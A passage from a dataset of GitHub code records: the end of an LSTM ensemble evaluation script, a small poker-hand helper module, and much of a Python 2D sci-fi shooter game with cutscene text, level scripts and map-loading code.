np.mean(cv_m_test_rsq_ensemble)\ncv_rsq_sem = np.std(cv_m_test_rsq_ensemble)/math.sqrt(n_folds)\ncv_rmse_mean\ncv_rmse_sem\ncv_m_test_rmse_ensemble\ncv_m_test_rsq_ensemble\ncv_rsq_mean\ncv_rsq_sem\n\n# ------ prediction ------\n# prediction for 20% test subjests\nyhats_testX = lstm_ensemble_predict(\n models=cv_m_ensemble, testX=testX)\n# below: anix=0 means \"along the row, by column\"\nyhats_testX_mean = np.mean(yhats_testX, axis=0)\nyhats_testX_std = np.std(yhats_testX, axis=0)\nyhats_testX_sem = yhats_testX_std/math.sqrt(n_folds)\n\n# prediction for 80% test subjests\nyhats_trainingX = lstm_ensemble_predict(\n models=cv_m_ensemble, testX=trainingX)\nyhats_trainingX_mean = np.mean(yhats_trainingX, axis=0)\nyhats_trainingX_std = np.std(yhats_trainingX, axis=0)\nyhats_trainingX_sem = yhats_trainingX_std/math.sqrt(n_folds)\n\n# inverse the predictions from normalized values to PCLs\nyhats_trainingX_pred, yhats_testX_pred = inverse_norm_y(\n training_y=yhats_trainingX_mean, test_y=yhats_testX_mean, scaler=scaler_Y)\nyhats_trainingX_std, yhats_testX_std = inverse_norm_y(\n training_y=yhats_trainingX_std, test_y=yhats_testX_std, scaler=scaler_Y)\nyhats_trainingX_sem, yhats_testX_sem = inverse_norm_y(\n training_y=yhats_trainingX_sem, test_y=yhats_testX_sem, scaler=scaler_Y)\ntrainingY_conv, testY_conv = inverse_norm_y(training_y=trainingY,\n test_y=testY, scaler=scaler_Y)\n\n# ------ eval ------\n# test_rmse = lstm_ensemble_eval(models=cv_m_ensemble, n_members=len(cv_m_ensemble),\n# testX=testX, testY=testY)\n# test_rmse = np.array(test_rmse)\n# test_rmse_mean = np.mean(test_rmse) # 0.227\n# test_rmse_sem = np.std(test_rmse)/math.sqrt(n_folds)\n\n# below: calcuate RMSE and R2 (final, i.e. on the test data) using inversed y and yhat\n# this RMSE is the score to report\nrmse_yhats, rsq_yhats = list(), list()\nfor yhat_testX in yhats_testX:\n _, yhat_testX_conv = inverse_norm_y(\n training_y=yhats_trainingX_mean, test_y=yhat_testX, scaler=scaler_Y)\n rmse_yhat = math.sqrt(mean_squared_error(\n y_true=testY_conv, y_pred=yhat_testX_conv))\n rsq_yhat = r2_score(y_true=testY_conv, y_pred=yhat_testX_conv)\n rmse_yhats.append(rmse_yhat)\n rsq_yhats.append(rsq_yhat)\nrmse_yhats = np.array(rmse_yhats)\n\n\nrmse_yhats_mean = np.mean(rmse_yhats)\nrmse_yhats_sem = np.std(rmse_yhats)/math.sqrt(n_folds)\nrmse_yhats_mean\nrmse_yhats_sem\n\nrsq_yhats = np.array(rsq_yhats)\nrsq_yhats_mean = np.mean(rsq_yhats)\nrsq_yhats_sem = np.std(rsq_yhats)/math.sqrt(n_folds)\nrsq_yhats\nrsq_yhats_mean\nrsq_yhats_sem\n\n# ------ plot testing ------\ny = np.concatenate([trainingY, testY])\ny_true = scaler_Y.inverse_transform(y.reshape(y.shape[0], 1))\ny_true = y_true.reshape(y_true.shape[0], )\n\ny_yhat_plot(filepath=os.path.join(res_dir, 'oldtest_freq2_cv_plot_scatter.pdf'),\n y_true=y_true,\n training_yhat=yhats_trainingX_pred,\n training_yhat_err=yhats_trainingX_sem,\n test_yhat=yhats_testX_pred,\n test_yhat_err=yhats_testX_sem,\n plot_title='Cross-validation prediction',\n ylabel='PCL', xlabel='Subjects', plot_type='scatter',\n bar_width=0.25)\n\n\n# ------ true test realm ------\ntst_test = np.array([scaler_Y.inverse_transform(ary) for ary in yhats_testX])\ntst_test_mean = np.mean(tst_test, axis=0)\ntst_test_mean = tst_test_mean.reshape(tst_test_mean.shape[0], )\ntst_test_std = np.std(tst_test, axis=0)\ntst_test_std = tst_test_std.reshape(tst_test_std.shape[0], )\n\n\ntst_training = np.array([scaler_Y.inverse_transform(ary)\n for ary in yhats_trainingX])\ntst_training_mean = np.mean(tst_training, axis=0)\ntst_training_mean = tst_training_mean.reshape(tst_training_mean.shape[0], )\ntst_training_std = np.std(tst_training, axis=0)\ntst_training_std = tst_training_std.reshape(tst_training_std.shape[0], )\n\ny_yhat_plot(filepath=os.path.join(res_dir, 'oldtest_freq6_cv_plot_scatter.pdf'),\n y_true=y_true,\n training_yhat=tst_training_mean,\n training_yhat_err=tst_training_std,\n test_yhat=tst_test_mean,\n test_yhat_err=tst_test_std,\n plot_title='Cross-validation prediction',\n ylabel='PCL', xlabel='Subjects', plot_type='scatter',\n bar_width=0.25)\n","repo_name":"jzhangc/git_lstm_app","sub_path":"old/pipeline_test_old.py","file_name":"pipeline_test_old.py","file_ext":"py","file_size_in_byte":11316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"34230522064","text":"def straight(ranks):\n\tfor x in range(0,len(ranks)-1):\n\t\tif abs(ranks[x] - ranks[x+1]) > 1:\n\t\t\treturn False\n\treturn True\n\n\n# print straight([1,2,3,4,5])\n# print straight([1,2,3,4,6])\n# print straight([6,4,3,2,1])\n\n\nsf = \"6C 7C 8C 9C TC\".split()\nfk = \"9D 9H 9S 9C 7D\".split()\n\n# print sf\n# print set([y for x,y in sf])\n# print set([y for x,y in fk])\n\ndef flush(hand):\n \"Return True if all the cards have the same suit.\"\n return len(set([y for x,y in hand])) == 1\n\n# print flush(sf)\n# print flush(fk)\n\n\ndef kind(n, ranks):\n \"\"\"Return the first rank that this hand has exactly n of.\n Return None if there is no n-of-a-kind in the hand.\"\"\"\n counts = {}\n for x in ranks:\n \tif x in counts.keys():\n \t\tcounts[x] +=1\n \telse:\n \t\tcounts[x] = 1\n return counts[x] == n\n\n","repo_name":"jrjames83/cs212","sub_path":"working.py","file_name":"working.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"18249485021","text":"import time\nfrom tile import *\nfrom actors import *\nfrom items import *\nfrom weapon import *\nfrom particles import *\nfrom envron import *\nfrom gui import *\nfrom resources import *\nfrom constants import *\nfrom pie.vector import *\nfrom pie.color import *\n\nCUTSCENES = {'intro' : (['It is the 24th century.'],\n\n\t\t\t\t\t\t['HUMANITY has taken the stars... discovering',\n\t\t\t\t\t\t 'strange new worlds and civilizations.'],\n\n\t\t\t\t\t\t[\"In the year 2297, world leaders founded\",\n\t\t\t\t\t\t 'THE REPUBLIC OF GALACTIC COLONIES.'],\n\n\t\t\t\t\t\t['It serves as the central governing',\n\t\t\t\t\t\t 'system for the entire HUMAN race.'],\n\n\t\t\t\t\t\t['HUMANITY was a huge step ahead in building',\n\t\t\t\t\t\t 'a bright future for all sentient beings...'],\n\n\t\t\t\t\t\t['... until we were betrayed by',\n\t\t\t\t\t\t 'the RENEGADES.'],\n\n\t\t\t\t\t\t['In their goal of intergalactic conquest,',\n\t\t\t\t\t\t 'the RENEGADES slaughtered the HUMANS...'],\n\n\t\t\t\t\t\t['... a war was waged.',\n\t\t\t\t\t\t '... blood was shed.',\n\t\t\t\t\t\t '... lives were lost.'],\n\n\t\t\t\t\t\t['A secret mission gave us information on',\n\t\t\t\t\t\t \"the top secret RENEGADE homeworld...\"],\n\n\t\t\t\t\t\t[\"It's time to finish the fight.\"]),\n\n\t\t\t 'awakening' : (['An RGC frigate exits warp-space near',\n\t\t\t\t\t\t\t 'the alleged RENEGADE homeworld.'],\n\n\t\t\t\t\t\t\t['A RENEGADE capital ship opens fire on',\n\t\t\t\t\t\t\t 'the frigate...'],\n\n\t\t\t\t\t\t\t['... and a space battle ensues with',\n\t\t\t\t\t\t\t 'casualties on both parties.'],\n\n\t\t\t\t\t\t\t['The HUMAN frigate is hit and loses its',\n\t\t\t\t\t\t\t 'defense network...']),\n\n\t\t\t'infiltration' : (['Travel to the RENEGADE ship and sabotage',\n\t\t\t\t\t\t\t 'it from the inside.'],\n\n\t\t\t\t\t\t\t [\"Your mission is to destroy the FUEL PODS\",\n\t\t\t\t\t\t\t \"and cut the ship's power...\"]),\n\n\t\t\t'agron' : (['The RENEGADE ship loses 80% of its power...'],\n\n\t\t\t\t\t ['... and both ships crash on the RENEGADE',\n\t\t\t\t\t\t'homeworld known as...'],\n\n\t\t\t\t\t ['AGRON VII']),\n\n\t\t\t'mecha' : (['There seems to be a RENEGADE supply base',\n\t\t\t\t\t\t'nearby... guarded by a MECHA.'],\n\n\t\t\t\t\t ['In order to gain access to the facility,',\n\t\t\t\t\t 'it must be eliminated...']),\n\n\t\t\t'station' : (['Data gathered shows that this is the location',\n\t\t\t\t\t\t 'of an ancient RENEGADE structure.'],\n\n\t\t\t\t\t\t ['It is the location of a machine known as',\n\t\t\t\t\t\t 'the SOLAR STATION...'],\n\n\t\t\t\t\t\t ['... capable of teleporting users to RENEGADE',\n\t\t\t\t\t\t 'research facilities located underground.'],\n\n\t\t\t\t\t\t ['Infiltrate the structure and take control',\n\t\t\t\t\t\t 'of the machine.']),\n\n\t\t\t'caverns' : (['You have been teleported to the underground',\n\t\t\t\t\t\t 'caverns of AGRON VII...'],\n\n\t\t\t\t\t\t ['Explore it and find the hidden RENEGADE',\n\t\t\t\t\t\t 'research facility.']),\n\n\t\t\t'lab' : (['An RGC SOS Beacon has been transmitted from',\n\t\t\t\t\t 'within this facility.'],\n\n\t\t\t\t\t ['Find the source of the beacon...']),\n\n\t\t\t'hydrax' : (['Scanning RENEGADE log #7926...'],\n\t\t\t\t\t\t\n\t\t\t\t\t\t['Project: HYDRAX'],\n\n\t\t\t\t\t\t['Experimental bio-organic weapon...',\n\t\t\t\t\t\t 'Victims show symptoms of'],\n\n\t\t\t\t\t\t['dementia, psychopathic behavior',\n\t\t\t\t\t\t 'and murderous tendencies.'],\n\n\t\t\t\t\t\t['Prolonged exposure would result to',\n\t\t\t\t\t\t 'catastrophic muta...'],\n\n\t\t\t\t\t\t['ERROR ERROR ERROR ERROR - Corrupted Data'],\n\n\t\t\t\t\t\t['...........']),\n\n\t\t\t'exterm' : (['Those RENEGADE fools...'],\n\n\t\t\t\t\t\t['They used HUMANS as guinea pigs for',\n\t\t\t\t\t\t 'their experiments...'],\n\n\t\t\t\t\t\t['The HYDRAX are spreading rapidly throughout',\n\t\t\t\t\t\t 'the planet...'],\n\n\t\t\t\t\t\t['They have set-up a HIVE colony...',\n\t\t\t\t\t\t 'They are building ships...'],\n\n\t\t\t\t\t\t['They are preparing to leave the planet.',\n\t\t\t\t\t\t 'The whole galaxy is at risk.'],\n\n\t\t\t\t\t\t[\"The HIVE is getting its energy directly\",\n\t\t\t\t\t\t \"from the planet's core via FUEL PODS.\"],\n\n\t\t\t\t\t\t['Be warned... destroying the FUEL PODS may',\n\t\t\t\t\t\t 'cause the core to meltdown...'],\n\n\t\t\t\t\t\t['... but the HYDRAX must not be allowed',\n\t\t\t\t\t\t 'to leave AGRON VII.']),\n\n\t\t\t'king' : (['You have traveled far, HUMAN, but you',\n\t\t\t\t\t 'shall trek no further!'],\n\n\t\t\t\t\t [\"None of this would've happened, had you not\",\n\t\t\t\t\t \"meddled with what you didn't understand!\"],\n\n\t\t\t\t\t ['The RENEGADES are the superior species!',\n\t\t\t\t\t 'I SHALL PROVE IT ONCE AND FOR ALL!']),\n\n\t\t\t'escape' : (['This is the end of the line...'],\n\n\t\t\t\t\t\t[\"The planet's core has gone critical.\"],\n\n\t\t\t\t\t\t['You can still make it by taking a',\n\t\t\t\t\t\t 'RENEGADE shuttle above ground.']),\n\n\t\t\t'ending' : (['The shuttle escapes the dying planet...'],\n\n\t\t\t\t\t\t['.......'],\n\n\t\t\t\t\t\t['.......'],\n\n\t\t\t\t\t\t['The RENEGADES have been defeated.',\n\t\t\t\t\t\t 'The HYDRAX have been defeated.'],\n\n\t\t\t\t\t\t['The CENTURION lives to tell the tale...',\n\t\t\t\t\t\t 'and report for duty another day.'])}\n\n\nSCRIPT = {'awakening1' : ([['The ship is being boarded!'],\n\t\t\t\t\t\t ['Use \"A\" and \"D\" to move left and right.']],\n\t\t\t\t\t\t [['You picked up your first weapon.',\n\t\t\t\t\t\t\t'\"Left click\" to shoot.']],\n\t\t\t\t\t\t [['Eliminate the RENEGADE warrior.'],\n\t\t\t\t\t\t ['If you stop taking damage for a',\n\t\t\t\t\t\t\t'while, your shields will recharge.'],\n\t\t\t\t\t\t ['Go through the door at the end',\n\t\t\t\t\t\t\t'of the room to continue...']]),\n\t\t 'awakening2' : ([[['Press \"W\" to jump.']]]),\n\t\t 'awakening3' : ([[['You picked up new weapon!'],\n\t\t\t\t\t\t\t['Press \"S\" or scroll to switch',\n\t\t\t\t\t\t\t 'to the next weapon.'],\n\t\t\t\t\t\t\t['Doors will only open once all',\n\t\t\t\t\t\t\t 'hostiles have been eliminated.']]]),\n\t\t 'awakening4' : ([[['You picked up a grenade!'],\n\t\t\t\t\t\t\t['Hold \"Right click\" to aim and',\n\t\t\t\t\t\t\t 'release to throw.'],\n\t\t\t\t\t\t\t['Bounce grenades off walls',\n\t\t\t\t\t\t\t 'to target the enemy.']]]),\n\t\t 'awakening5' : ([[['Press \"E\" to flip switches.'],\n\t\t\t\t\t\t \t['Switches activate locked',\n\t\t\t\t\t\t \t 'doors for access.']]]),\n\t\t 'awakening6' : ([[['']]]),\n\t\t 'awakening7' : ([[['Rendezvous with other CENTURION',\n\t\t \t\t\t\t\t 'at the docking bay.']]]),\n\t\t 'awakening8' : ([[['']]]),\n\t\t 'awakening9' : ([[['']]]),\n\n\t\t 'infiltration1' : ([[[\"Make your way to the energy bay.\"],\n\t\t \t\t\t\t\t ['Eliminate all hostiles.']]]),\n\t\t 'infiltration2' : ([[['']]]),\n\t\t 'infiltration3' : ([[['']]]),\n\t\t 'infiltration4' : ([[['']]]),\n\t\t 'infiltration5' : ([[['Get to the energy bay!']]]),\n\t\t 'infiltration6' : ([[['Destroy all the FUEL PODS!']]]),\n\t\t 'infiltration7' : ([[['Eliminate the crew of the ship',\n\t\t \t\t\t\t\t\t'for good measure.']]]),\n\t\t 'infiltration8' : ([[['Eliminate the captain and finish the job.']]]),\n\n\t\t 'agron1' : ([[['Scan the area for any survivors.'],\n\t\t \t\t\t\t['Follow the trail of fire.']]]),\n\t\t 'agron2' : ([[['']]]),\n\t\t 'agron3' : ([[['']]]),\n\t\t 'agron4' : ([[['']]]),\n\t\t 'agron5' : ([[['']]]),\n\t\t 'agron6' : ([[['']]]),\n\t\t 'agron7' : ([[['']]]),\n\t\t 'agron8' : ([[['']]]),\n\t\t 'agron9' : ([[['']]]),\n\t\t 'agron10' : ([[['']]]),\n\n\t\t 'mecha1' : ([[['Destroy the MECHA!']]]),\n\n\t\t 'station1' : ([[['Get to the SOLAR STATION.']]]),\n\t\t 'station2' : ([[['']]]),\n\t\t 'station3' : ([[['']]]),\n\t\t 'station4' : ([[['']]]),\n\t\t 'station5' : ([[['']]]),\n\t\t 'station6' : ([[['']]]),\n\t\t 'station7' : ([[['']]]),\n\t\t 'station8' : ([[['']]]),\n\t\t 'station9' : ([[['Activate the SOLAR STATION.']]]),\n\n\t\t 'caverns1' : ([[['Explore the caverns.']]]),\n\t\t 'caverns2' : ([[['']]]),\n\t\t 'caverns3' : ([[['']]]),\n\t\t 'caverns4' : ([[['']]]),\n\t\t 'caverns5' : ([[['']]]),\n\t\t 'caverns6' : ([[['']]]),\n\t\t 'caverns7' : ([[['']]]),\n\t\t 'caverns8' : ([[['RENGADE troops are highly concentrated',\n\t\t \t\t\t\t 'in this area.'],\n\t\t \t\t\t\t ['The facility must be close by.']]]),\n\t\t 'caverns9' : ([[['']]]),\n\t\t 'caverns10' : ([[['The lab is being protected by a',\n\t\t \t\t\t\t 'RENEGADE guardian!']]]),\n\n\t\t 'lab1' : ([[['']]]),\n\t\t 'lab2' : ([[['']]]),\n\t\t 'lab3' : ([[['']]]),\n\t\t 'lab4' : ([[['']]]),\n\t\t 'lab5' : ([[['']]]),\n\t\t 'lab6' : ([[['']]]),\n\t\t 'lab7' : ([[['']]]),\n\t\t 'lab8' : ([[['']]]),\n\t\t 'lab9' : ([[['Scan the data logs.']]]),\n\n\t\t 'hydrax1' : ([[['Get out of there!']]]),\n\t\t 'hydrax2' : ([[['']]]),\n\t\t 'hydrax3' : ([[['']]]),\n\t\t 'hydrax4' : ([[['']]]),\n\t\t 'hydrax5' : ([[['']]]),\n\t\t 'hydrax6' : ([[['']]]),\n\t\t 'hydrax7' : ([[['Protect the sterilization chambers.']]]),\n\t\t 'hydrax8' : ([[['']]]),\n\t\t 'hydrax9' : ([[['']]]),\n\n\t\t 'exterm1' : ([[[\"Find the HIVE's power supply.\"]]]),\n\t\t 'exterm2' : ([[['']]]),\n\t\t 'exterm3' : ([[['']]]),\n\t\t 'exterm4' : ([[['']]]),\n\t\t 'exterm5' : ([[['It seems that the HYDRAX are recycling',\n\t\t \t\t\t\t 'defunct RENEGADE ships...'],\n\t\t \t\t\t\t [\"The FUEL PODS must be nearby...\"]]]),\n\t\t 'exterm6' : ([[['']]]),\n\t\t 'exterm7' : ([[['']]]),\n\t\t 'exterm8' : ([[['']]]),\n\t\t 'exterm9' : ([[['Destroy the FUEL PODS!']]]),\n\n\t\t 'king1' : ([[['Send that chump straight to hell.']]]),\n\n\t\t 'escape1' : ([[['Escape the collapsing planet!']]]),\n\t\t 'escape2' : ([[['']]]),\n\t\t 'escape3' : ([[['']]]),\n\t\t 'escape4' : ([[['The HYDRAX are moving faster than predicted...'],\n\t\t \t\t\t\t [\"Much of the planet's landscape has\",\n\t\t \t\t\t\t 'been converted into biomass.']]]),\n\t\t 'escape5' : ([[['']]]),\n\t\t 'escape6' : ([[['']]]),\n\t\t 'escape7' : ([[['']]]),\n\t\t 'escape8' : ([[['']]]),\n\t\t 'escape9' : ([[['']]]),\n\t\t 'escape10' : ([[['Get aboard the ship!']]])}\n\n\n\nMUSIC = {'awakening' : ['drums', 'combat1', 'combat1'],\n\t\t 'infiltration' : ['renegade_theme'],\n\t\t 'agron' : ['rain'],\n\t\t 'mecha' : ['centurion_theme', 'drums', 'combat1', 'drums'],\n\t\t 'station' : ['station'],\n\t\t 'caverns' : ['caverns'],\n\t\t 'lab' : [],\n\t\t 'hydrax' : ['hydrax_theme'],\n\t\t 'exterm' : ['renegade_theme', 'drums', 'combat1', 'drums'],\n\t\t 'king' : ['centurion_theme', 'drums'],\n\t\t 'escape' : ['centurion_theme', 'drums']}\n\n\nGAMETYPES = {'Fireplay' : \"Don't play with the fire.\",\n\t\t\t 'Red v Blue' : 'Try not to kill your friends.',\n\t\t\t 'Oddman' : 'May the oddman live.',\n\t\t\t 'BioWarfare' : 'The Hydrax infestation has gone critical...',\n\t\t\t 'Generator' : 'Defend your generator, destroy theirs.'}\n\nWEAPON_DROPS = {'P' : ['riffle', 'gun'],\n\t\t\t\t'X' : ['rocket_launcher', 'gun'],\n\t\t\t\t'A' : ['assault', 'gun'],\n\t\t\t\t'S' : ['shotgun', 'gun'],\n\t\t\t\t'T' : ['pistol', 'gun'],\n\t\t\t\t'F' : ['fusion', 'gun'],\n\t\t\t\t'G' : ['grenades', 'item'],\n\t\t\t\t'M' : ['sword', 'blade'],\n\t\t\t\t'K' : ['frost', 'blade'],\n\t\t\t\t'U' : ['cyber', 'blade']}\n\nBOTNAMES = ['SirBob', 'General Collins',\n\t\t\t'Keith', 'CJ',\n\t\t\t'Mikael', 'Jolo',\n\t\t\t'Jigs', 'Baron',\n\t\t\t'Elver', 'Migo',\n\t\t\t'AJ', 'Lanz',\n\t\t\t'Franzl', 'Jon',\n\t\t\t'Sabrina', 'Yeti',\n\t\t\t'Maxinne', 'Gabby',\n\t\t\t'DJ', 'Mix',\n\t\t\t'Nix', 'Dickens',\n\t\t\t'Andrea', 'Carlo',\n\t\t\t'Diego', 'Carlos',\n\t\t\t'Tracie', 'Olmos',\n\t\t\t'Dottie', 'Joey',\n\t\t\t'Nelebrity', 'Estelle',\n\t\t\t'Felix', 'Eliza',\n\t\t\t'Leonard', 'Sheldon',\n\t\t\t'Willie', 'Rene',\n\t\t\t'Willbornicorn', \"WillyWonka\",\n\t\t\t\"Willboo\", \"Kylie\"\n\t\t\t'Diaz', 'Tongki',\n\t\t\t'Franci', 'Hal',\n\t\t\t'Alexis', 'Genine',\n\t\t\t'YOLOman', 'Feces',\n\t\t\t'ikeDestroyer', 'Primax',\n\t\t\t'Rogers', 'Luke',\n\t\t\t'Steve', 'Bill',\n\t\t\t'William', 'Dariel',\n\t\t\t'Michael', 'Jordan',\n\t\t\t'Eddie', 'Peter',\n\t\t\t'Parker', 'Clark',\n\t\t\t'Ken', 'Joaquin',\n\t\t\t'Jhay R', 'Jake',\n\t\t\t'Atom', 'Intel',\n\t\t\t'Python', 'C',\n\t\t\t'C++', 'Java',\n\t\t\t'Stephen', 'Erika',\n\t\t\t'Centurion ', 'SPARTAN ',\n\t\t\t'Jem', 'Tiger',\n\t\t\t'Ms. Gavan', 'Ms. Crissica ',\n\t\t\t'Sir Ton', 'JayFlo',\n\t\t\t'Mr. Donger', 'General Donger',\n\t\t\t'Sofia', 'Sr. Poopsalot',\n\t\t\t'Traci', 'Moike',\n\t\t\t'Enrique', 'Veronica',\n\t\t\t'Layla', 'Amy',\n\t\t\t'Alyssa', 'Allison',\n\t\t\t'TheHawk', 'OmegaPrime',\n\t\t\t'Verna', 'Jashley',\n\t\t\t'James', 'Kyle',\n\t\t\t'Angelo', 'Aubrey',\n\t\t\t'Ethan', 'Jana',\n\t\t\t'Jared', 'Jericho',\n\t\t\t'Julia', 'Lance',\n\t\t\t'Loren', 'Lorraine',\n\t\t\t'Luis', 'Maia',\n\t\t\t'Jaimie', 'Miguel',\n\t\t\t'Derrico', 'Diamond',\n\t\t\t'Remy', 'Matthew',\n\t\t\t'Chia', 'Darvin',\n\t\t\t'Gabe', 'Tomas']\n\ndef generatePreview(map, type):\n\tf = open('data/maps/'+type+'/'+map.lower()+'.map', 'r+')\n\tp = open('data/maps/'+type+'/'+map.lower()+'.prop', 'r+')\n\tlines = f.readlines()\n\tplines = p.readlines()\n\tfor i in lines:\n\t\tw = len(i)\n\th = len(lines)\n\tcolor = Color([int(i) for i in plines[0].strip('color[]\\n').split(',')])\n\n\tpreview = surface(w, h)\n\tpreview.fill(color)\n\tfor y in xrange(w):\n\t\tfor x in xrange(h):\n\t\t\tif lines[x][y] not in 'QWERTYUIOPASDFGHJKLZXCVBNMgxrp> \\n':\n\t\t\t\tpreview.set_at((y, x), TILEDICT[lines[x][y]][2])\n\ts = scale(preview, (w*10, h*10))\n\n\tprevw = 300\n\tprevh = 200\n\tdimensions = [min(s.get_width(), prevw), min(s.get_height(), prevh)]\n\treturn subsurf(s, 0, 0, dimensions[0], dimensions[1])\n\n\nclass GameMap(object):\n\tdef __init__(self, name, engine, parent_state, type):\n\t\tself.name = name\n\t\tself.type = type\n\t\tself.engine = engine\n\t\tself.profile = self.engine.profile\n\t\tself.parent_state = parent_state\n\n\t\tself.lines = []\n\t\tself.plines = []\n\n\t\tself.mw = 0\n\t\tself.mh = 0\n\t\tself.width = 0\n\t\tself.height = 0\n\n\t\t# Lists that store all the game objects\n\t\tself.tiles = [[None for i in xrange(self.mw)] for i in xrange(self.mh)]\n\t\tself.fg = [[None for i in xrange(self.mw)] for i in xrange(self.mh)]\n\t\tself.bg = [[None for i in xrange(self.mw)] for i in xrange(self.mh)]\n\t\tself.liquids = []\n\t\tself.entities = []\n\t\tself.bullets = []\n\t\tself.grenades = []\n\t\tself.generators = []\n\t\tself.items = []\n\t\tself.weps = []\n\t\tself.particles = []\n\t\tself.target = None # The Player\n\n\t\tself.spawns = []\n\t\tself.red_spawns = []\n\t\tself.blue_spawns = []\n\t\tself.hydrax_spawns = []\n\n\t\tself.genspawn_red = Vector(0, 0)\n\t\tself.genspawn_blue = Vector(0, 0)\n\n\t\tself.all = [self.tiles, self.fg, self.bg, self.liquids, self.entities, self.bullets, self.grenades,\n\t\t\t\t\tself.generators, self.items, self.weps, self.particles]\n\n\t\tself.backdrop = None\n\t\tself.field = None\n\t\tself.bg_color = B_COLORS['BLACK']\n\t\tself.hud = None\n\n\t\tself.dialog = None\n\t\tself.text_rendering = False\n\n\t\tself.camera = Vector(0, 0)\n\t\tself.offset = Vector(0, 0)\n\t\tself.center_screen = Vector(SCREEN_W/2, SCREEN_H/2)\n\t\tself.shaking = False\n\n\t\tself.generateMap(self.name)\n\n\tdef clearMap(self):\n\t\t# Empty the map for new set of world objects\n\t\tself.target = None\n\t\tfor o in self.all:\n\t\t\tif len(o) != 0:\n\t\t\t\tdel o[:]\n\n\tdef generateMap(self, name, target=None):\n\t\tself.clearMap()\n\n\t\tself.name = name\n\t\tmap_file = open('data/maps/'+self.type+'/'+self.name.lower()+'.map', 'r+')\n\t\tproperties = open('data/maps/'+self.type+'/'+self.name.lower()+'.prop', 'r+')\n\n\n\t\tself.lines = map_file.readlines()\n\t\tfor i in xrange(len(self.lines)):\n\t\t\tself.mw = len(self.lines[i])\n\t\tself.mh = len(self.lines)\n\n\t\tself.tiles = [[None for i in xrange(self.mw)] for i in xrange(self.mh)]\n\t\tself.bg = [[None for i in xrange(self.mw)] for i in xrange(self.mh)]\n\t\tself.fg = [[None for i in xrange(self.mw)] for i in xrange(self.mh)]\n\n\t\tself.width = self.mw*TILESIZE\n\t\tself.height = self.mh*TILESIZE\n\t\tself.target = target\n\n\t\tself.plines = properties.readlines()\n\t\tself.bg_color = Color([int(i) for i in self.plines[0].strip('color[]\\n').split(',')])\n\t\tself.bg_theme = self.plines[1].split('=')[1].strip('\\n')\n\n\t\tself.field = surface(self.width, self.height)\n\t\tself.backdrop = Backdrop(self.bg_theme)\n\n\t\tself.game_over = False\n\t\tself.game_over_time = 0\n\t\tself.defend_structures = False\n\n\t\tif len(self.plines) == 4:\n\t\t\tline_parser = self.plines[3].split('=')\n\t\t\tif line_parser[0] == 'defend':\n\t\t\t\tself.game_over_line = line_parser[1]\n\t\t\t\tself.defend_structures = True\n\n\t\t# Generate the tiles\n\t\tfor x in xrange(self.mw):\n\t\t\tfor y in xrange(self.mh):\n\t\t\t\tif self.lines[y][x] in TILEDICT:\n\t\t\t\t\tt_id = self.calcTileNum(x, y)\n\t\t\t\t\tif TILEDICT[self.lines[y][x]][0] == 'grav':\n\t\t\t\t\t\tself.tiles[y][x] = GravCannon(TILEDICT[self.lines[y][x]], x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, self.lines[y][x])\n\t\t\t\t\telif TILEDICT[self.lines[y][x]][0] == 'slope':\n\t\t\t\t\t\tself.tiles[y][x] = Slope(TILEDICT[self.lines[y][x]], x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, self.lines[y][x])\n\t\t\t\t\telif TILEDICT[self.lines[y][x]][0] == 'util':\n\t\t\t\t\t\tself.tiles[y][x] = Util(TILEDICT[self.lines[y][x]], x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, self.lines[y][x])\n\t\t\t\t\telif TILEDICT[self.lines[y][x]][0] == 'spike':\n\t\t\t\t\t\tself.tiles[y][x] = Spike(TILEDICT[self.lines[y][x]], x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, self.lines[y][x])\n\n\t\t\t\t\telif TILEDICT[self.lines[y][x]][0] == 'break':\n\t\t\t\t\t\tself.tiles[y][x] = Breakable(TILEDICT[self.lines[y][x]], x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, self.lines[y][x], id=str(t_id))\n\t\t\t\t\telif TILEDICT[self.lines[y][x]][0] == 'door':\n\t\t\t\t\t\tself.tiles[y][x] = Door(TILEDICT[self.lines[y][x]], x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, self.lines[y][x], id=str(t_id))\n\n\t\t\t\t\telif TILEDICT[self.lines[y][x]][0] == 'bg':\n\t\t\t\t\t\tself.bg[y][x] = Tile(TILEDICT[self.lines[y][x]], x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, self.lines[y][x], id=str(t_id))\n\t\t\t\t\telif TILEDICT[self.lines[y][x]][0] == 'fg':\n\t\t\t\t\t\tself.fg[y][x] = Tile(TILEDICT[self.lines[y][x]], x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, self.lines[y][x], id=str(t_id))\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.tiles[y][x] = Tile(TILEDICT[self.lines[y][x]], x*TILESIZE+TILESIZE/2, y*TILESIZE+TILESIZE/2, self.lines[y][x], id=str(t_id))\n\n\t\t# Generate the other world objects depending\n\t\t# on whether its a story world or a \"bot arena\" world\n\t\tself.worldSpecific(name)\n\n\tdef worldSpecific(self, name):\n\t\tpass\n\n\tdef getAdjacent(self, x, y):\n\t\tadj = {}\n\t\tif x-1 >= 0:\n\t\t\tadj['l'] = self.lines[y][x-1]\n\t\telse:\n\t\t\tadj['l'] = ' '\n\n\t\tif x+1 <= self.mw-1:\n\t\t\tadj['r'] = self.lines[y][x+1]\n\t\telse:\n\t\t\tadj['r'] = ' '\n\n\t\tif y-1 >= 0:\n\t\t\tadj['u'] = self.lines[y-1][x]\n\t\telse:\n\t\t\tadj['u'] = ' '\n\n\t\tif y+1 <= self.mh-1:\n\t\t\tadj['d'] = self.lines[y+1][x]\n\t\telse:\n\t\t\tadj['d'] = ' '\n\n\t\treturn adj\n\n\tdef calcTileNum(self, x, y):\n\t\tadj = self.getAdjacent(x, y)\n\t\ttile = self.lines[y][x]\n\t\tid = 0\n\n\t\t# Side tiles\n\t\tif adj['l'] == tile or adj['r'] == tile: # Horizontal\n\t\t\tif adj['u'] != tile and adj['d'] == tile:\n\t\t\t\tid = 0 # Horizontal on top\n\t\t\telif adj['d'] != tile and adj['u'] == 